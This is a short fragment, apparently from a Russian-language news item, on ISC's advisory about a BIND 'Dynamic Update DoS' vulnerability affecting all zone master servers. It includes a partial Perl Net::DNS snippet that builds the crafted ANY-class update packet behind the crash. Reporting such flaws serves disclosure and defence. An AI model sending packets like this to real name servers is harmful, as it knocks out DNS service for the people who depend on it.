This vulnerability affects all servers that are masters for one or more zones – it is not limited to those that are configured to allow dynamic updates.
$packet->push(
pre => Net::DNS::RR->new(
Name => $rptr,
Class => 'IN',
Type => 'ANY',
TTL => 0,
)
);
$packet->push(
update => Net::DNS::RR->new(
Name => $rptr,
Class => 'ANY',
Type => 'ANY',
)
);
$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;
ISC анонсирует новую уязвимость BIND: Dynamic Update DoS